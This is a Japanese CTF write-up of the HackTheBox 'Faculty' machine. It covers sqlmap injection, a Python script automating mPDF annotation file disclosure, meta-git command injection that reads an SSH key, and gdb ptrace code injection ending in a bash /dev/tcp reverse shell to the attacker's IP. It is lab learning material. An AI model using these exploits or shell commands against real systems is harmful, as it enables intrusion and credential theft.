【HackTheBox】Faculty Writeup
久しぶりにretired medium machineやってみました。
Recon
nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
ではport 80を見ていきます。
website
http://faculty.htb/login.php
にリダイレクトされました。適当に値入れてみましたが、ログインできませんでした。
これ以外の情報がなさそうだったので、fuzzingをします。
fuzzing
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://faculty.htb/FUZZ.php
________________________________________________
index [Status: 302, Size: 12193, Words: 1896, Lines: 359, Duration: 174ms]
login [Status: 200, Size: 4860, Words: 270, Lines: 132, Duration: 165ms]
header [Status: 200, Size: 2871, Words: 155, Lines: 48, Duration: 162ms]
test [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 165ms]
topbar [Status: 200, Size: 1206, Words: 199, Lines: 37, Duration: 166ms]
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://faculty.htb
===============================================================
/admin (Status: 301) [Size: 178] [--> http://faculty.htb/admin/]
/index.php (Status: 302) [Size: 12193] [--> login.php]
Progress: 4614 / 4615 (99.98%)
===============================================================
いくつかのページと/admin
のディレクトリが発見できました。topbar.php
とheader.php
はほぼ空白ページでした。
/admin
をアクセスしてみるとhttp://faculty.htb/admin/login.php
にリダイレクトされました。さっきと違うログインフォームがありました。
login Form SQLi
ログインを突破しないといけないのでSQLiやってみます。
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3
---
Parameter: id_no (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id_no=123' OR NOT 3600=3600-- GpPq
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id_no=123' AND (SELECT 3703 FROM (SELECT(SLEEP(5)))rUdf)-- zpYL
---
2種類のSQLiが検出されました(--level 5 --risk 3
を入れないと遅いtime-based blindしか検出できない)。dbとテーブルを確認します。
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --dbs
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -tables
scheduling_dbの中のusersとfacultyテーブルに使える情報がありそうなので、dumpします。
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -T users --dump
+----+---------------+------+----------------------------------+----------+
| id | name | type | password | username |
+----+---------------+------+----------------------------------+----------+
| 1 | Administrator | 1 | 1fecbe762af147c1176a0fc2c722a345 | admin |
+----+---------------+------+----------------------------------+----------+
sqlmap -u http://faculty.htb/admin/ajax.php?action=login_faculty -data "id_no=123" --level 5 --risk 3 --batch -D scheduling_db -T faculty --dump
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| id | id_no | email | gender | address | contact | lastname | firstname | middlename |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| 1 | 63033226 | jsmith@faculty.htb | Male | 151 Blue Lakes Blvd | (646) 559-9192 | Smith | John | C |
| 2 | 85662050 | cblake@faculty.htb | Female | 225 Main St | (763) 450-0121 | Blake | Claire | G |
| 3 | 30903070 | ejames@faculty.htb | Male | 142 W Houston St | (702) 368-3689 | James | Eric | P |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
adminのcredentialsと3人のuser情報がありました。adminのパスワードはhashcatで解いてみましたが、ダメでした。userのところに有効なfaculty idがあったので、これでhttp://faculty.htb/login.php
にログインしてみます。
63033226でログインするとこんな感じです。カレンダーが見れます。
ログインした状態で/admin
にアクセスしてみたらこんなページが出てきました。
course、subject、facultyの表示、追加、削除ができます。一覧のPDFダウンロードもできます。
PDFをダウンロードしてみます。生成されたPDFが新しいタブで表示されました。
PDFをexiftoolで見てみます。mPDF 6.0
で作られたことがわかりました。mPDF6.0のexploitをググってみます。
┌──(kali㉿kali)-[~/faculty]
└─$ exiftool OK4K1QPLbUrO2s76wXhVDYdEav.pdf
File Name : OK4K1QPLbUrO2s76wXhVDYdEav.pdf
[** SNIP **]
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Page Layout : OneColumn
Producer : mPDF 6.0
最初見ていたのはこのissue(https://github.com/mpdf/mpdf/issues/949) でしたが、今回のpdfは画像が入っていないので使えなさそうでした。また、exploit dbにmPDF 7.0を対象としたLFIのスクリプトがありましたが(https://www.exploit-db.com/exploits/50995) 、今回のバージョンと違います。
githubでv6.0関連のissueを漁ってみたら使えそうな情報はこれだけでした。
よく見ると、これはexploit dbのmPDF 7.0 LFI exploitと同じこと書いていることがわかりました。6.0も7.0もこの脆弱性があるってことかな。
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
こういうhtmlでPDFを作成すると、/etc/passwd
の中身が添付ファイルから見れるみたいです。
mpdf LFI Exploit
burpでPDFを作成する時のリクエストを見てみます。payloadはurl encode2回した後にbase64 encodeしています。
この中にannotation tag入れてLFIを試します。
生成されたPDFをダウンロードして開くと、右上に添付ファイルのボタンがありました。クリックすると/etc/passwd
の中身が入っているファイルが開かれました。これでLFIが確認できました。
payload変える→pdfダウンロード→pdf開く→attachmentを確認するプロセスがめんどくさいので、このスクリプトで自動化しました。
import PyPDF2
from urllib.parse import quote
from base64 import b64encode
import requests
import argparse
def post_pdf(target_file):
payload = f'<annotation file="{target_file}" content="{target_file}" icon="Graph" title="Attached File: {target_file}" pos-x="195" />'
# safe=''を入れないと/がエンコードされない
encoded_payload = b64encode(quote(quote(payload, safe='')).encode())
res = requests.post("http://faculty.htb/admin/download.php", data = {"pdf": encoded_payload})
if res.status_code != 200:
print("post request failed!!!")
pdf_filename = res.text
# res.textの最後に\nがあるのでstripする
return pdf_filename.strip()
def download_pdf(pdf_filename):
res = requests.get(f"http://faculty.htb/mpdf/tmp/{pdf_filename}")
if res.status_code != 200:
print(f"pdf download failed, status code {res.status_code}")
with open(f"/home/kali/faculty/{pdf_filename}","wb") as f:
f.write(res.content)
print("pdf file downloaded")
def get_attachment_content(filename):
reader = PyPDF2.PdfFileReader(open(filename, 'rb'))
page = reader.getPage(0)
for annot in page["/Annots"]:
annot_obj = annot.getObject()
file_data = annot_obj["/FS"]["/EF"]["/F"].getData()
print(file_data.decode("utf-8"))
def main(target):
pdf_filename = post_pdf(target)
download_pdf(pdf_filename)
get_attachment_content(f"/home/kali/faculty/{pdf_filename}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-target", required=True)
args = parser.parse_args()
main(args.target)
これでだいぶ使いやすくなりました。ユーザーはgbyoloとdeveloperがいました。
┌──(kali㉿kali)-[~/faculty]
└─$ python3 test.py -target /etc/passwd
pdf file downloaded
root:x:0:0:root:/root:/bin/bash
[** snip **]
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
ではこのスクリプトでサイトのソースコードを見ていきます。
source code analysis
web fuzzingの時に出てきたphpファイルを見ていきたいと思います。login.php
から、db_connect.php
があることがわかりました。
┌──(kali㉿kali)-[~/faculty]
└─$ python3 lfi.py -target login.php
pdf file downloaded
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
include('./db_connect.php');
ob_start();
ob_end_flush();
?>
db_connect
をみてみたらcredentialsがありました。Co.met06aci.dly53ro.per
は何かのパスワードでしょう。
┌──(kali㉿kali)-[~/faculty]
└─$ python3 lfi.py -target db_connect.php
pdf file downloaded
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
shell as gbyolo
Co.met06aci.dly53ro.per
を使ってgbyoloでsshログインできました。user.txtがなかったので、developerに切り替える方法を探さないといけないです。
┌──(kali㉿kali)-[~/faculty]
└─$ ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
[** snip **]
You have mail.
gbyolo@faculty:~$ ls /home/gbyolo
you have mailと書いてあったのでメールを確認してみます。また、gbyoloのパスワードを持っているので、sudo -l
もみてみます。
gbyolo@faculty:~$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
developerとしてmeta-gitを実行できます。
gbyolo@faculty:/var/mail$ cat gbyolo
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1
Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb
たぶんmeta-gitを使ってdeveloperに切り替えるんでしょうね。exploitを調べたら使えそうなものが出てきました。
meta-git RCE
実行してみると、HACKEDがdeveloperに作られました。エラーも出力されていましたが、RCEはできています。
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||touch HACKED'
meta git cloning into 'sss||touch HACKED' at sss||touch HACKED
sss||touch HACKED:
fatal: repository 'sss' does not exist
sss||touch HACKED ✓
[** snip **]
gbyolo@faculty:/tmp$ ls -la
-rw-rw-r-- 1 developer developer 0 Aug 5 14:38 HACKED
このままuserフラグを取りたいと思います。
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||cat /home/developer/user.txt'
meta git cloning into 'sss||cat /home/developer/user.txt' at user.txt
user.txt:
fatal: destination path 'sss' already exists and is not an empty directory.
efxxxxxxxxxxxxxxxxxxxxxxx45bbe1
userフラグ取れました!
developerのhome directoryをlsしてみたらsshキーがあったので、これでdeveloperのシェルを取りたいと思います。キーをコピーして保存します。
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||cat /home/developer/.ssh/id_rsa'
shell as developer
sshログインします。
┌──(kali㉿kali)-[~/faculty]
└─$ chmod 600 key
┌──(kali㉿kali)-[~/faculty]
└─$ ssh -i key developer@10.10.11.169
developer@faculty:~$ id
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
idの結果からdeveloperはdebugとfacultyの2つのグループに所属していることがわかりました。各グループはどういう権限を持っているかを確認したいです。linpeasで多分わかるので実行してみます。
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
-rw-r----- 1 root developer 33 Aug 2 14:47 /home/developer/user.txt
Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
debugグループは/usr/bin/gdb
を実行できます。また、/usr/bin/gdb
はcap_sys_ptraceのケイパビリティが付いているので、実行中のプロセスを制御できます。
hacktricksにCAP_SYS_TRACE付きのgdbを使ったpriv escのチュートリアルがありました。
プロセスにattachしてsystem functionを実行してreverse shellを取りたいと思います。
gdb code injection
まずはrootのプロセスをみてみます。
developer@faculty:~$ ps aux | grep root
[** snip **]
root 686 0.0 0.4 238080 9156 ? Ssl 12:08 0:00 /usr/lib/accountsservice/accounts-daemon
root 693 0.0 0.1 81956 3672 ? Ssl 12:08 0:00 /usr/sbin/irqbalance --foreground
root 695 0.1 0.9 26896 18148 ? Ss 12:08 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 697 0.0 0.4 236436 9244 ? Ssl 12:08 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 712 0.0 0.3 17336 7804 ? Ss 12:08 0:00 /lib/systemd/systemd-logind
root 927 0.0 0.1 5568 2940 ? Ss 12:08 0:00 /usr/sbin/cron -f
695番のpythonのプロセスにattachします。
developer@faculty:~$ gdb -p 695
Attaching to process 695
Reading symbols from /usr/bin/python3.8...
(No debugging symbols found in /usr/bin/python3.8)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
[** snip **]
(gdb) p system
$1 = {int (const char *)} 0x7fbcf9390290 <__libc_system>
(gdb) call (void)system("nc 10.10.14.8 9001")
[Detaching after vfork from child process 2185]
p system
を実行したらsystem()のアドレスが返ってきたので、system()が存在していて実行できるはずです。ncのコマンドもやってみます。
┌──(kali㉿kali)-[~/faculty]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.169] 51954
問題なさそうですね。
別プロセスで失敗したケース
どのプロセスでもsystem関数を実行できるわけではないです。前提条件を満たしてないとこのexploitはうまく行かないみたいです。ここでいくつかの失敗例をシェアします。
developer@faculty:~$ gdb -p 927
[** snip **]
Attaching to process 927
Reading symbols from /usr/sbin/cron...
(No debugging symbols found in /usr/sbin/cron)
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/45/87364908de169dec62ffa538170118c1c3a078.debug...
0x00007f80ce3891b4 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) call (void)system("nc 10.10.14.8 9001")
No symbol "system" in current context.
system()がこのプロセスに存在してないので失敗しました。
developer@faculty:~$ gdb -p 712
[** snip **]
Attaching to process 712
warning: "target:/usr/lib/systemd/systemd-logind": could not open as an executable file: Operation not permitted.
warning: `target:/usr/lib/systemd/systemd-logind': can't open to read symbols: Operation not permitted.
0x00007f570c46542a in ?? ()
(gdb) call (void)system("nc 10.10.14.8 9001")
No symbol table is loaded. Use the "file" command.
symbolテーブルがないと関数がresolveされないみたいです。このプロセスも使えませんでした。
おまけにpythonのプロセスならうまくいく理由のchatGPTの回答を添付します、、
Shell as root
reverse shellを取ります。
(gdb) call (void)system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1'")
rootフラグが取れました!
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.169] 53138
bash: cannot set terminal process group (695): Inappropriate ioctl for device
bash: no job control in this shell
root@faculty:/# cat /root/root.txt
memo
mediumマシーンの中ではstraightforwardの方だと思います。
reconは変なrabbit holeがあまりなくてシンプルでしたが、gdbを使ったことがなかったのでpriv escの試行錯誤にかなり時間かかりました。面白いマシーンでした。
Discussion